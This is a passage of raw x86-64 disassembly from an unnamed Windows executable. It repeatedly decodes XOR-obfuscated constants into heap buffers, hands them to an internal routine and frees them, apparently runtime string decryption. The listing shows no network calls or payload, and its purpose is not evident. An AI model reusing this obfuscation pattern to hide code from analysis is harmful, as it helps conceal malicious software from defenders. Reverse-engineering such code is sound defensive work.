movzx r8d, byte [rdx + r10]
mov rcx, rdx
or rcx, 1
movzx ebx, byte [rcx + r10]
mov rcx, rdx
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdx
or rcx, 3
movzx r14d, byte [rcx + r10]
mov rcx, rdx
or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdx
or rsi, 5
movzx ebp, byte [rsi + r10]
mov rdi, rdx
or rdi, 7
mov rsi, rdx
or rsi, 6
movzx esi, byte [rsi + r10]
movzx edi, byte [rdi + r10]
shl rdi, 0x38
shl rsi, 0x30
or rsi, rdi
shl rbp, 0x28
shl rcx, 0x20
shl r14, 0x18
shl r11, 0x10
shl rbx, 8
or rbx, r8
or rbx, r11
or rbx, r14
or rbx, rcx
or rbx, rbp
or rbx, rsi
xor rbx, qword [rax + rdx]
mov qword [rsp + rdx + 0x340], rbx
mov edx, 8
test r9b, 1
mov r9d, 0
jne 0x1401237c5
mov ecx, 0x7ddf2804
xor ecx, dword [rax + 0x10]
mov dword [rsp + 0x350], ecx
movzx ecx, byte [rax + 0x16]
movzx eax, word [rax + 0x14]
xor eax, 0x690b
mov word [rsp + 0x354], ax
xor cl, 0x23
mov byte [rsp + 0x356], cl
mov ecx, 0x17
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
movdqa xmm0, xmmword [rsp + 0x340]
movdqu xmmword [rdx], xmm0
mov rax, qword [rsp + 0x34f]
mov qword [rdx + 0xf], rax
lea rax, [0x140363683]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x9f267d966c2c07aa
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400085d3
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f4f7]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x14012390f
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0x17
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x1401239b0
cmp qword [rsp + 0x280], 0
je 0x1401239b0
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140367a72]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x99732d392018209
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400085b4
movabs rbx, 0x2d94538428cff8ed
xor rbx, qword [rax]
mov ecx, 8
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
lea rax, [0x14036ce86]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x777c81f6c92b1030
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008ab2
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f517]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140123a42
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 8
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140123ae3
cmp qword [rsp + 0x280], 0
je 0x140123ae3
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036d762]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x4ddeafb3def42a8d
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008aed
movabs rbx, 0xd87162437c0de641
xor rbx, qword [rax]
mov ecx, 8
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
lea rax, [0x14036f54a]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x34141e5355ba6635
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400088ed
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f537]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140123b75
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 8
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140123c16
cmp qword [rsp + 0x280], 0
je 0x140123c16
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140361d52]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x19345c4f01bcf022
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a0cf
movabs rbx, 0x300220fa94de3e36
xor rbx, qword [rax]
mov ebp, 0xf7b60474
xor ebp, dword [rax + 8]
mov ecx, 0xc
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
lea rax, [0x140363672]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xcdec90e34033f3c8
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000952f
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f557]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140123cb3
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xc
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140123d54
cmp qword [rsp + 0x280], 0
je 0x140123d54
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036a409]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xb77b03d06c8f7c88
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008784
mov ecx, dword [rax]
movzx ebx, word [rax + 4]
xor ebx, 0x6f
mov ebp, 0xdb5e59bb
xor rbp, rcx
mov ecx, 6
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov word [rdx + 4], bx
mov dword [rdx], ebp
lea rax, [0x14036f7d8]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x66ff5a965b055544
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008303
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f577]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140123ded
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 6
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140123e8e
cmp qword [rsp + 0x280], 0
je 0x140123e8e
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140365426]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x8de52664d4dfe72a
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a07f
mov ecx, dword [rax]
movzx edx, byte [rax + 6]
movzx ebx, word [rax + 4]
xor ebx, 0x55d1
xor dl, 0xae
movzx ebp, dl
mov rax, rbp
shl rax, 0x30
shl rbx, 0x20
or rbx, rax
mov esi, 0xa709e614
xor rsi, rcx
mov ecx, 7
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov byte [rdx + 6], bpl
mov dword [rdx], esi
shr rbx, 0x20
mov word [rdx + 4], bx
lea rax, [0x14036e1b2]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xdcc01743d6802c17
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009239
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f597]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140123f4a
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 7
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140123feb
cmp qword [rsp + 0x280], 0
je 0x140123feb
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1403702d5]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x783fc60e18494f17
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009ab7
mov ebx, dword [rax]
movzx ebp, word [rax + 4]
xor ebp, 0xff0
xor rbx, 0x57258246
mov ecx, 6
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov word [rdx + 4], bp
mov dword [rdx], ebx
lea rax, [0x1403659b7]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x35e96728a361e6cd
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009457
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f5b7]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140124086
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 6
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140124127
cmp qword [rsp + 0x280], 0
je 0x140124127
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140367ef3]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x147883ae011b69c6
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009014
mov ebx, dword [rax]
movzx ebp, word [rax + 4]
xor ebp, 0x759a
xor rbx, 0x65456ad5
mov ecx, 6
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov word [rdx + 4], bp
mov dword [rdx], ebx
lea rax, [0x14036ee64]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xfd862ac5c7558d9e
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a5e5
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f5d7]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401241c2
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 6
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140124263
cmp qword [rsp + 0x280], 0
je 0x140124263
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, fcn.1400f525f
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x6c21dbc2bb09d0aa
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a560
mov ecx, dword [rax]
movzx edx, byte [rax + 6]
movzx ebx, word [rax + 4]
xor ebx, 0x5a51
xor dl, 0x2b
movzx ebp, dl
mov rax, rbp
shl rax, 0x30
shl rbx, 0x20
or rbx, rax
mov esi, 0xc60ef8f9
xor rsi, rcx
mov ecx, 7
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov byte [rdx + 6], bpl
mov dword [rdx], esi
shr rbx, 0x20
mov word [rdx + 4], bx
lea rax, [0x140370200]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x1a68520ada023282
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a260
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f5f7]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x14012431f
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 7
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x1401243c0
cmp qword [rsp + 0x280], 0
je 0x1401243c0
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140361eb7]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xb2c355370713b38a
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009dfe
movabs rsi, 0xde87b8868a32141e
xor rsi, qword [rax]
mov ebp, 0x1b7ae5ed
xor ebp, dword [rax + 8]
mov bl, byte [rax + 0xc]
xor bl, 0xce
mov ecx, 0xd
call fcn.140047b2b
mov r14, rax
mov rdi, rdx
mov qword [rdx], rsi
mov dword [rdx + 8], ebp
mov byte [rdx + 0xc], bl
lea rax, [0x140365a01]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xdb6a975855f75a91
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008597
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f617]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140124466
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], r14
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 0xd
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140124507
cmp qword [rsp + 0x280], 0
je 0x140124507
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1403623f3]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xb68ab03d5f23fb84
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008854
mov ecx, dword [rax]
mov bl, byte [rax + 4]
xor bl, 0x1c
mov ebp, 0x91e7b35a
xor rbp, rcx
mov ecx, 5
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov byte [rdx + 4], bl
mov dword [rdx], ebp
lea rax, [0x14036a50b]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xe8cfc9282273b7e3
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008d3c
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f637]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x14012459e
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 5
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x14012463f
cmp qword [rsp + 0x280], 0
je 0x14012463f
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140367ad1]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x5a9d3600f7b58369
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a288
mov ebx, dword [rax]
movzx ebp, word [rax + 4]
xor ebp, 0x617d
xor rbx, 0x3e0172f2
mov ecx, 6
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov word [rdx + 4], bp
mov dword [rdx], ebx
lea rax, [0x14036727d]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xc8bc5da0179da216
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.1400093af
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f657]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x1401246da
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 6
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x14012477b
cmp qword [rsp + 0x280], 0
je 0x14012477b
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140367a07]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x2e1087f686611051
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a198
mov ebx, dword [rax]
movzx ebp, word [rax + 4]
xor ebp, 0x92f2
xor rbx, 0x5fb715a
mov ecx, 6
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov word [rdx + 4], bp
mov dword [rdx], ebx
lea rax, [0x14036493d]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xca7063cb05c3cb15
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a6cc
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f677]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140124816
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 6
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x1401248b7
cmp qword [rsp + 0x280], 0
je 0x1401248b7
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140369c1c]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x84a9878868cdd17
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000932e
movzx ebx, byte [rax + 2]
movzx ebp, word [rax]
xor ebp, 0x705c
xor bl, 0xc8
mov ecx, 3
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov byte [rdx + 2], bl
mov word [rdx], bp
lea rax, [0x14036bb7e]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xb0d69136d88b97b2
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14000a8a2
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f697]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x14012494f
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 3
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x1401249f0
cmp qword [rsp + 0x280], 0
je 0x1401249f0
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1403640bc]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x56afc17bd9dd6a7f
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140008cba
mov ecx, dword [rax]
movzx ebx, word [rax + 4]
xor ebx, 0x2649
mov ebp, 0xe4cb6ff3
xor rbp, rcx
mov ecx, 6
call fcn.140047b2b
mov rsi, rax
mov rdi, rdx
mov word [rdx + 4], bx
mov dword [rdx], ebp
lea rax, [0x140365442]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0xacd7be8da81a3918
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009d5c
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x14036f6b7]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0x38], rbp
add rcx, 8
cmp rcx, 0x18
jb 0x140124a8c
mov ecx, 0x20
call fcn.140047b2b
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmm1, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
movdqu xmmword [rdx + 0x10], xmm1
lea r8, [rsp + 0x1e0]
mov qword [r8], rsi
mov qword [r8 + 8], rdi
mov qword [r8 + 0x10], 6
lea r9, [rsp + 0x100]
mov qword [r9], rax
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], 0x20
lea rsi, [rsp + 0x280]
lea rdx, [rsp + 0x190]
mov rcx, rsi
call fcn.14000ceff
mov r8, qword [rsi + 8]
test r8, r8
je 0x140124b2d
cmp qword [rsp + 0x280], 0
je 0x140124b2d
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14036b693]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x5b0e6c7bb200f8b3
